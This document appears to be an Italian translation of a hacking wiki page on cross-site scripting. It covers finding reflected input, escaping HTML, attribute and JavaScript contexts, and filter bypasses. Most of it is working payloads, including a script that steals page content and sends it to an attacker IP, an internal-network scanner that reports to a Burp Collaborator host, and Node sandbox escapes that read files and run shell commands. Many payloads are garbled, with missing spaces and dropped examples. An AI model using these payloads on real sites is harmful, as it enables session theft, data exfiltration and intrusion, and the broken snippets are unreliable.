Se sei interessato a una carriera nel campo dell'hacking e vuoi hackerare ciò che sembra impossibile - stiamo assumendo! (richiesta competenza fluente in polacco scritta e parlata).
Verifica se qualsiasi valore controllato da te (parametri, percorso, intestazioni?, cookie?) viene riflesso nell'HTML o utilizzato dal codice JS.
Trova il contesto in cui viene riflesso/utilizzato.
Se riflesso
Verifica quali simboli puoi utilizzare e in base a ciò, prepara il payload:
In HTML grezzo:
Puoi creare nuovi tag HTML?
Puoi utilizzare eventi o attributi che supportano il protocollo javascript:?
Puoi eludere le protezioni?
Il contenuto HTML viene interpretato da un motore JS lato client (AngularJS, VueJS, Mavo...), potresti sfruttare una Iniezione di Template Lato Client.
Per sfruttare con successo un XSS la prima cosa che devi trovare è un valore controllato da te che viene riflesso nella pagina web.
Riflesso in modo intermedio: Se scopri che il valore di un parametro o addirittura il percorso viene riflesso nella pagina web, potresti sfruttare un XSS Riflesso.
Salvato e riflesso: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina, potresti sfruttare un XSS Memorizzato.
Accesso tramite JS: Se scopri che un valore controllato da te viene accesso utilizzando JS, potresti sfruttare un DOM XSS.
Contesti
Quando cerchi di sfruttare un XSS la prima cosa da sapere è dove viene riflesso il tuo input. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
HTML Grezzo
Se il tuo input è riflesso nella pagina HTML grezza dovrai sfruttare alcuni tag HTML per eseguire codice JS: <img , <iframe , <svg , <script ... questi sono solo alcuni dei molti tag HTML possibili che potresti utilizzare.
Inoltre, tieni presente l'Iniezione di Template Lato Client.
All'interno dell'attributo dei tag HTML
Se il tuo input è riflesso all'interno del valore dell'attributo di un tag, potresti provare:
A uscire dall'attributo e dal tag (quindi sarai nell'HTML grezzo) e creare un nuovo tag HTML per sfruttare: "><img [...]
Se puoi uscire dall'attributo ma non dal tag (> è codificato o eliminato), a seconda del tag potresti creare un evento che esegue codice JS: " autofocus onfocus=alert(1) x="
Se non puoi uscire dall'attributo (" è codificato o eliminato), allora a seconda di quale attributo riflette il tuo valore e se controlli tutto il valore o solo una parte sarai in grado di sfruttarlo. Ad esempio, se controlli un evento come onclick= sarai in grado di far eseguire codice arbitrario quando viene cliccato. Un altro esempio interessante è l'attributo href, dove puoi utilizzare il protocollo javascript: per eseguire codice arbitrario: href="javascript:alert(1)"
Se il tuo input è riflesso all'interno di "tag non esplorabili" potresti provare il trucco di accesskey per sfruttare la vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttare questo): " accesskey="x" onclick="alert(1)" x="
Esempio strano di Angular che esegue XSS se controlli un nome di classe:
In questo caso, il tuo input viene riflessato tra i tag <script> [...] </script> di una pagina HTML, all'interno di un file .js o all'interno di un attributo utilizzando il protocollo javascript::
Se viene riflessato tra i tag <script> [...] </script>, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare </script> ed uscire da questo contesto. Questo funziona perché il browser analizzerà prima i tag HTML e poi il contenuto, quindi non si accorgerà che il tuo tag </script> iniettato è all'interno del codice HTML.
Se viene riflessato all'interno di una stringa JS e il trucco precedente non funziona, dovrai uscire dalla stringa, eseguire il tuo codice e ricostruire il codice JS (se ci sono errori, non verranno eseguiti):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
Se viene riflessato all'interno di template letterali, puoi inserire espressioni JS utilizzando la sintassi ${ ... }: var greetings = `Ciao, ${alert(1)}`
La codifica Unicode funziona per scrivere codice JavaScript valido:
\u{61}lert(1)\u0061lert(1)\u{0061}lert(1)
Sollevamento di Javascript
Il sollevamento di Javascript fa riferimento alla possibilità di dichiarare funzioni, variabili o classi dopo che sono state utilizzate in modo da poter sfruttare scenari in cui un XSS utilizza variabili o funzioni non dichiarate.Controlla la seguente pagina per ulteriori informazioni:
Diverse pagine web hanno endpoint che accettano come parametro il nome della funzione da eseguire. Un esempio comune da trovare è qualcosa del genere: ?callback=callbackFunc.
Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cercando di essere eseguito è modificare il valore del parametro (ad esempio in 'Vulnerabile') e cercare nella console eventuali errori come:
Nel caso sia vulnerabile, potresti essere in grado di scatenare un alert semplicemente inviando il valore: ?callback=alert(1). Tuttavia, è molto comune che questi endpoint validino il contenuto per consentire solo lettere, numeri, punti e trattini bassi ([\w\._]).
Tuttavia, anche con tale limitazione è ancora possibile eseguire alcune azioni. Questo perché è possibile utilizzare quei caratteri validi per accedere a qualsiasi elemento nel DOM:
Puoi anche provare a attivare le funzioni Javascript direttamente: obj.sales.delOrders.
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza un DOM molto interessante, altre pagine nella stessa origine avranno un DOM più interessante per eseguire più azioni.
Pertanto, per abusare di questa vulnerabilità in un DOM diverso è stata sviluppata l'exploit Same Origin Method Execution (SOME):
C'è del codice JS che sta utilizzando in modo non sicuro alcuni dati controllati da un attaccante come location.href. Un attaccante potrebbe abusarne per eseguire codice JS arbitrario.
Questo tipo di XSS può essere trovato ovunque. Non dipendono solo dall'exploit del client di un'applicazione web ma da qualsiasicontesto. Questo tipo di esecuzione arbitraria di JavaScript può persino essere abusato per ottenere RCE, leggerefile arbitrari nei client e nei server, e altro ancora.
Alcuni esempi:
Quando il tuo input viene riflesso all'interno della pagina HTML o puoi eseguire l'escape e iniettare codice HTML in questo contesto, la prima cosa da fare è controllare se puoi abusare di < per creare nuovi tag: Prova semplicemente a riflettere quel carattere e controlla se viene codificato in HTML o eliminato oppure se viene riflesso senza modifiche. Solo in quest'ultimo caso sarai in grado di sfruttare questo caso.
Per questi casi, tieni presente anche Client Side Template Injection.Nota: Un commento HTML può essere chiuso usando**** --> o ****--!>
In questo caso e se non viene utilizzata alcuna lista nera/lista bianca, potresti utilizzare payload come:
Ma, se viene utilizzato il filtraggio dei tag/attributi black/whitelist, sarà necessario forzare a tentativi quali tag è possibile creare.
Una volta che hai individuato quali tag sono consentiti, dovrai forzare a tentativi attributi/eventi all'interno dei tag validi trovati per vedere come puoi attaccare il contesto.
Forzare a tentativi tag/eventi
Vai su https://portswigger.net/web-security/cross-site-scripting/cheat-sheet e clicca su Copia tag negli appunti. Quindi, inviali tutti utilizzando Burp intruder e controlla se qualche tag non è stato rilevato come dannoso dal WAF. Una volta scoperti quali tag puoi utilizzare, puoi forzare a tentativi tutti gli eventi utilizzando i tag validi (nella stessa pagina web clicca su Copia eventi negli appunti e segui la stessa procedura come prima).
Tag personalizzati
Se non hai trovato nessun tag HTML valido, potresti provare a creare un tag personalizzato ed eseguire codice JS con l'attributo onfocus. Nella richiesta XSS, devi terminare l'URL con # per fare sì che la pagina si concentri su quell'oggetto ed esegua il codice:
Se viene utilizzata una sorta di lista nera, potresti provare a evitarla con alcuni trucchi sciocchi:
//Random capitalization<script> --> <ScrIpT><img --> <ImG//Double tag, in case just the first match is removed<script><script><scr<script>ipt><SCRscriptIPT>alert(1)</SCRscriptIPT>//You can substitude the space to separate attributes for://*%00//%00*/%2F%0D%0C%0A%09//Unexpected parent tags<svg><x><script>alert('1')</x>//Unexpected weird attributes<script x><scripta="1234"><script ~~~><script/random>alert(1)</script><script ///Note the newline>alert(1)</script><scr\x00ipt>alert(1)</scr\x00ipt>//Not closing tag, ending with " <" or " //"<iframeSRC="javascript:alert('XSS');" <<iframe SRC="javascript:alert('XSS');"////Extra open<<script>alert("XSS");//<</script>//Just weird an unexpected, use your imagination<</script/script><script><input type=image srconerror="prompt(1)">//Using `` instead of parenthesisonerror=alert`1`//Use more than one<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Bypass della lunghezza (piccoli XSS)
Altri piccoli XSS per ambienti diversi payload possono essere trovati qui e qui.
<!-- Taken from the blog of Jorge Lajara --><svg/onload=alert``><scriptsrc=//aa.es><scriptsrc=//℡㏛.pw>
Click XSS - Clickjacking
Se per sfruttare la vulnerabilità è necessario che l'utente faccia clic su un link o un modulo con dati precompilati, potresti provare a abusare del Clickjacking (se la pagina è vulnerabile).
Impossibile - Dangling Markup
Se pensi semplicemente che sia impossibile creare un tag HTML con un attributo per eseguire codice JS, dovresti controllare Dangling Markup perché potresti sfruttare la vulnerabilità senza eseguire codice JS.
Iniezione all'interno del tag HTML
All'interno del tag/fuga dal valore dell'attributo
Se ti trovi all'interno di un tag HTML, la prima cosa che potresti provare è fuggire dal tag e utilizzare alcune delle tecniche menzionate nella sezione precedente per eseguire codice JS.
Se non puoi fuggire dal tag, potresti creare nuovi attributi all'interno del tag per cercare di eseguire codice JS, ad esempio utilizzando un payload come (nota che in questo esempio vengono utilizzate virgolette doppie per fuggire dall'attributo, non ne avrai bisogno se il tuo input viene riflessi direttamente all'interno del tag):
<p style="animation: x;" onanimationstart="alert()">XSS</p><p style="animation: x;" onanimationend="alert()">XSS</p>#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
All'interno dell'attributo
Anche se non puoi evadere dall'attributo (" viene codificato o eliminato), a seconda di quale attributo il tuo valore viene riflettuto se controlli tutto il valore o solo una parte sarai in grado di abusarne. Per esempio, se controlli un evento come onclick= sarai in grado di far eseguire del codice arbitrario quando viene cliccato.
Un altro interessante esempio è l'attributo href, dove puoi utilizzare il protocollo javascript: per eseguire del codice arbitrario: href="javascript:alert(1)"
Bypass all'interno dell'evento usando la codifica HTML/codifica URL
I caratteri codificati in HTML all'interno del valore degli attributi dei tag HTML vengono decodificati in fase di esecuzione. Pertanto qualcosa del genere sarà valido (il payload è in grassetto): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Torna Indietro </a>
Nota che qualsiasi tipo di codifica HTML è valida:
//HTML entities'-alert(1)-'//HTML hex without zeros'-alert(1)-'//HTML hex with zeros'-alert(1)-'//HTML dec without zeros'-alert(1)-'//HTML dec with zeros'-alert(1)-'<ahref="javascript:var a=''-alert(1)-''">a</a><ahref="javascript:alert(2)">a</a><ahref="javascript:alert(3)">a</a>
Bypass all'interno dell'evento utilizzando la codifica Unicode
//For some reason you can use unicode to encode "alert" but not "(1)"<imgsrconerror=\u0061\u006C\u0065\u0072\u0074(1) /><imgsrconerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Protocolli Speciali All'interno dell'attributo
Qui è possibile utilizzare i protocolli javascript: o data: in alcuni punti per eseguire codice JS arbitrario. Alcuni richiederanno interazione dell'utente, altri no.
javascript:alert(1)JavaSCript:alert(1)javascript:%61%6c%65%72%74%28%31%29//URL encodejavascript:alert(1)javascript:alert(1)javascript:alert(1)javascriptΪlert(1)java //Note the new linescript:alert(1)data:text/html,<script>alert(1)</script>DaTa:text/html,<script>alert(1)</script>data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3edata:text/html;charset=UTF-8,<script>alert(1)</script>data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pgdata:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Luoghi in cui è possibile iniettare questi protocolli
In generale il protocollo javascript: può essere utilizzato in qualsiasi tag che accetta l'attributo href e nella maggior parte dei tag che accettano l'attributo src (ma non <img)
Inoltre, c'è un altro bel trucco per questi casi: Anche se il tuo input all'interno di javascript:... viene codificato in URL, verrà decodificato prima di essere eseguito. Quindi, se hai bisogno di escapare dalla stringa usando un apice singolo e vedi che viene codificato in URL, ricorda che non importa, verrà interpretato come un apice singolo durante l'esecuzione.
Nota che se provi a usare entrambiURLencode + HTMLencode in qualsiasi ordine per codificare il payload non funzionerà, ma puoi mescolarli all'interno del payload.
Utilizzo di codifica esadecimale e ottale con javascript:
Puoi utilizzare la codifica esadecimale e ottale all'interno dell'attributo src di iframe (almeno) per dichiarare tag HTML per eseguire JS:
//Encoded: <svg onload=alert(1)>// This WORKS<iframesrc=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' /><iframesrc=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />//Encoded: alert(1)// This doesn't work<svgonload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' /><svgonload=javascript:'\141\154\145\162\164\50\61\51' />
Furto di schede invertito
<atarget="_blank"rel="opener"
Se puoi iniettare un URL in un tag <a href= arbitrario che contiene gli attributi target="_blank" e rel="opener", controlla la pagina seguente per sfruttare questo comportamento:
<!-- Injection inside meta attribute--><metaname="apple-mobile-web-app-title"content=""Twitterpopoverid="newsletter"onbeforetoggle=alert(2) /><!-- Existing target--><buttonpopovertarget="newsletter">Subscribe to newsletter</button><divpopoverid="newsletter">Newsletter popup</div>
Da qui: È possibile eseguire un payload XSS all'interno di un attributo nascosto, a condizione di persuadere la vittima a premere la combinazione di tasti. Su Firefox Windows/Linux la combinazione di tasti è ALT+SHIFT+X e su OS X è CTRL+ALT+X. È possibile specificare una diversa combinazione di tasti utilizzando un tasto diverso nell'attributo access key. Ecco il vettore:
Il payload XSS sarà qualcosa del genere: " accesskey="x" onclick="alert(1)" x="
Bypass della blacklist
Sono stati già esposti diversi trucchi che utilizzano diverse codifiche all'interno di questa sezione. Torna indietro per imparare dove puoi utilizzare:
Codifica HTML (tag HTML)
Codifica Unicode (può essere codice JS valido):\u0061lert(1)
Se trovi un XSS in una parte molto piccola del web che richiede un certo tipo di interazione (forse un piccolo link nel piè di pagina con un elemento onmouseover), puoi provare a modificare lo spazio che l'elemento occupa per massimizzare le probabilità di far scattare il link.
Ad esempio, potresti aggiungere dello stile all'elemento come: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Ma, se il WAF sta filtrando l'attributo di stile, puoi utilizzare i CSS Styling Gadgets, quindi se trovi, ad esempio
.test {display:block; color: blue; width: 100%}
e
#someid {top: 0; font-family: Tahoma;}
Ora puoi modificare il nostro link e portarlo alla forma
In questo caso il tuo input verrà riflesso all'interno del codice JS di un file .js o tra i tag <script>...</script> o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo javascript:.
Escape del tag <script>
Se il tuo codice è inserito all'interno di <script> [...] var input = 'reflected data' [...] </script> potresti facilmente evitare la chiusura del tag <script>:
Nota che in questo esempio non abbiamo nemmeno chiuso l'apice singolo. Questo perché il parsing HTML viene eseguito prima dal browser, il quale identifica gli elementi della pagina, inclusi i blocchi di script. Il parsing di JavaScript per comprendere ed eseguire gli script incorporati viene eseguito solo successivamente.
All'interno del codice JS
Se <> vengono sanificati, puoi comunque eseguire l'escape della stringa dove viene posizionato il tuo input e eseguire JS arbitrario. È importante correggere la sintassi JS, perché se ci sono errori, il codice JS non verrà eseguito:
Per costruire stringhe oltre alle virgolette singole e doppie, JS accetta anche gli accenti gravi``. Questo è noto come template letterali poiché consentono di inserire espressioni JS utilizzando la sintassi ${ ... }.
Pertanto, se scopri che il tuo input viene riflesso all'interno di una stringa JS che utilizza gli accenti gravi, puoi abusare della sintassi ${ ... } per eseguire codice JS arbitrario:
Questo può essere abusato utilizzando:
`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``functionloop(){return loop}loop``````````````
Esecuzione del codice codificato
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab// Any other char escaped is just itself
Sostituzioni degli spazi all'interno del codice JS
//This is a 1 line comment/* This is a multiline comment*/<!--This is a 1line comment#!This is a 1 line comment, but "#!" must to be at the beggining of the first line-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
//Javascript interpret as new line these chars:String.fromCharCode(10); alert('//\nalert(1)') //0x0aString.fromCharCode(13); alert('//\ralert(1)') //0x0dString.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
Spazi vuoti JavaScript
log=[];functionfunct(){}for(let i=0;i<=0x10ffff;i++){try{eval(`funct${String.fromCodePoint(i)}()`);log.push(i);}catch(e){}}console.log(log)//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:<img/src/onerror=alert(1)>
Javascript all'interno di un commento
//If you can only inject inside a JS comment, you can still leak something//If the user opens DevTools request to the indicated sourceMappingURL will be send//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript senza parentesi
// By setting locationwindow.location='javascript:alert\x281\x29'x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x// or any DOMXSS sink such as location=name// Backtips// Backtips pass the string as an array of lenght 1alert`1`// Backtips + Tagged Templates + call/applyeval`alert\x281\x29`// This won't work as it will just return the passed arraysetTimeout`alert\x281\x29`eval.call`${'alert\x281\x29'}`eval.apply`${[`alert\x281\x29`]}`[].sort.call`${alert}1337`[].map.call`${eval}\\u{61}lert\x281337\x29`// To pass several arguments you can usefunctionbtt(){console.log(arguments);}btt`${'arg1'}${'arg2'}${'arg3'}`//It's possible to construct a function and call itFunction`x${'alert(1337)'}x```// .replace can use regexes and call a function if something is found"a,".replace`a${alert}`//Initial ["a"] is passed to str as "a," and thats why the initial string is "a,""a".replace.call`1${/./}${alert}`// This happened in the previous example// Change "this" value of call to "1,"// match anything with regex /./// call alert with "1""a".replace.call`1337${/..../}${alert}`//alert with 1337 instead// Using Reflect.apply to call any function with any argumnetsReflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`// Using Reflect.set to call set any value to a variableReflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString// These operations are called when the object is used as a primitive// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''toString=alert;window+''// Error handlerwindow.onerror=eval;throw"=alert\x281\x29";onerror=eval;throw"=alert\x281\x29";<imgsrc=x onerror="window.onerror=eval;throw'=alert\x281\x29'">{onerror=eval}throw"=alert(1)" //No ";"onerror=alert //No ";" using new linethrow 1337// Error handler + Special unicode separatorseval("onerror=\u2028alert\u2029throw 1337");// Error handler + Comma separator// The comma separator goes through the list and returns only the last elementvar a = (1,2,3,4,5,6) // a = 6throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alertthrow onerror=alert,1,1,1,1,1,1337// optional exception variables inside a catch clause.try{throw onerror=alert}catch{throw 1}// Has instance symbol'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
//Eval like functionseval('ale'+'rt(1)')setTimeout('ale'+'rt(2)');setInterval('ale'+'rt(10)');Function('ale'+'rt(10)')``;[].constructor.constructor("alert(document.domain)")``[]["constructor"]["constructor"]`$${alert()}```import('data:text/javascript,alert(1)')//General function executions``//Can be use as parenthesisalert`document.cookie`alert(document['cookie'])with(document)alert(cookie)(alert)(1)(alert(1))in"."a=alert,a(1)[1].find(alert)window['alert'](0)parent['alert'](1)self['alert'](2)top['alert'](3)this['alert'](4)frames['alert'](5)content['alert'](6)[7].map(alert)[8].find(alert)[9].every(alert)[10].filter(alert)[11].findIndex(alert)[12].forEach(alert);top[/al/.source+/ert/.source](1)top[8680439..toString(30)](1)Function("ale"+"rt(1)")();newFunction`al\ert\`6\``;Set.constructor('ale'+'rt(13)')();Set.constructor`al\x65rt\x2814\x29```;$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)globalThis[`al`+/ert/.source]`1`this[`al`+/ert/.source]`1`[alert][0].call(this,1)window['a'+'l'+'e'+'r'+'t']()window['a'+'l'+'e'+'r'+'t'].call(this,1)top['a'+'l'+'e'+'r'+'t'].apply(this,[1])(1,2,3,4,5,6,7,8,alert)(1)x=alert,x(1)[1].find(alert)top["al"+"ert"](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)al\u0065rt`1`top['al\145rt'](1)top['al\x65rt'](1)top[8680439..toString(30)](1)<svg><animateonbegin=alert() attributeName=x></svg>
Vulnerabilità del DOM
C'è del codice JS che sta utilizzando dati non sicuri controllati da un attaccante come location.href. Un attaccante potrebbe sfruttare ciò per eseguire del codice JS arbitrario.
A causa dell'estensione della spiegazione dellevulnerabilità del DOM è stata spostata su questa pagina:
Lì troverai una spiegazione dettagliata su cosa sono le vulnerabilità del DOM, come vengono provocate e come sfruttarle.
Inoltre, non dimenticare che alla fine del post menzionato puoi trovare una spiegazione su attacchi di DOM Clobbering.
Altri Bypass
Unicode Normalizzato
Potresti verificare se i valori riflessi vengono normalizzati in Unicode sul server (o sul lato client) e sfruttare questa funzionalità per eludere le protezioni. Trova un esempio qui.
Bypass del flag PHP FILTER_VALIDATE_EMAIL
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
A causa delle assegnazioni di massa di RoR, le virgolette vengono inserite nell'HTML e quindi la restrizione delle virgolette viene bypassata e campi aggiuntivi (onfocus) possono essere aggiunti all'interno del tag.
Ad esempio del modulo (da questo report), se invii il payload:
Se scopri che puoi iniettare header in una risposta di reindirizzamento 302, potresti provare a far eseguire al browser JavaScript arbitrario. Questo non è triviale poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi solo un payload di scripting tra siti è inutile.
In questo rapporto e questo puoi leggere come puoi testare diversi protocolli all'interno dell'header Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.
Protocolli noti: mailto://, //x:1/, ws://, wss://, header Location vuoto, resource://.
Solo lettere, numeri e punti
Se sei in grado di indicare il callback che JavaScript sta per eseguire limitato a quei caratteri. Leggi questa sezione di questo post per scoprire come abusare di questo comportamento.
Tipi di contenuto <script> validi per XSS
(Da qui) Se provi a caricare uno script con un tipo di contenuto come application/octet-stream, Chrome restituirà il seguente errore:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' perché il suo tipo MIME (‘application/octet-stream’) non è eseguibile e il controllo rigoroso del tipo MIME è abilitato.
(Da qui) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
<scripttype="???"></script>
La risposta è:
modulo (predefinito, niente da spiegare)
webbundle: Web Bundles è una funzionalità che ti permette di raggruppare una serie di dati (HTML, CSS, JS...) in un unico file .wbn.
<scripttype="webbundle">{"source": "https://example.com/dir/subresources.wbn","resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]}</script>The resources are loaded from the source .wbn, not accessed via HTTP
importmap: Consente di migliorare la sintassi di importazione
<scripttype="importmap">{"imports": {"moment": "/node_modules/moment/src/moment.js","lodash": "/node_modules/lodash-es/lodash.js"}}</script><!-- With importmap you can do the following --><script>import moment from"moment";import { partition } from"lodash";</script>
Questo comportamento è stato utilizzato in questo articolo per riassegnare una libreria a eval per abusarne e scatenare XSS.
speculationrules: Questa funzionalità serve principalmente per risolvere alcuni problemi causati dal prerendering. Funziona in questo modo:
Se la pagina restituisce un tipo di contenuto text/xml, è possibile indicare uno spazio dei nomi ed eseguire JS arbitrario:
<xml><text>hello<imgsrc="1"onerror="alert(1)"xmlns="http://www.w3.org/1999/xhtml" /></text></xml><!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Modelli di Sostituzione Speciali
Quando viene utilizzato qualcosa del tipo "alcuni {{template}} dati".replace("{{template}}", <input_utente>), l'attaccante potrebbe utilizzare sostituzioni di stringhe speciali per cercare di aggirare alcune protezioni: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Ad esempio, in questo articolo, questo è stato utilizzato per eludere una stringa JSON all'interno di uno script ed eseguire codice arbitrario.
Se hai solo un insieme limitato di caratteri da utilizzare, controlla queste altre soluzioni valide per i problemi di XSJail:
// eval + unescape + regexeval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))// use of withwith(console)log(123)with(/console.log(1)/)with(this)with(constructor)constructor(source)()// Just replace console.log(1) to the real code, the code we want to run is://return String(process.mainModule.require('fs').readFileSync('flag.txt'))with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solutionwith(/with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))/)with(this)with(constructor)constructor(source)()// For more uses of with go to challenge misc/CaaSio PSE in// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Se tutto è non definito prima di eseguire codice non attendibile (come in questo articolo) è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice non attendibile arbitrario:
Utilizzando import()
// although import "fs" doesn’t work, import('fs') does.import("fs").then(m=>console.log(m.readFileSync("/flag.txt","utf8")))
Quindi, se da quel modulo possiamo chiamare un'altra funzione, è possibile utilizzare arguments.callee.caller.arguments[1] da quella funzione per accedere a require:
In modo simile all'esempio precedente, è possibile utilizzare gli error handlers per accedere al wrapper del modulo e ottenere la funzione require:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
Non sarai in grado di accedere ai cookie da JavaScript se il flag HTTPOnly è impostato nel cookie. Ma qui hai alcuni modi per aggirare questa protezione se sei abbastanza fortunato.
Rubare il contenuto della pagina
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Trovare gli IP interni
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Quando vengono inseriti dati nel campo password, lo username e la password vengono inviati al server degli attaccanti, anche se il client seleziona una password salvata e non scrive nulla, le credenziali verranno esfiltrate.
Keylogger
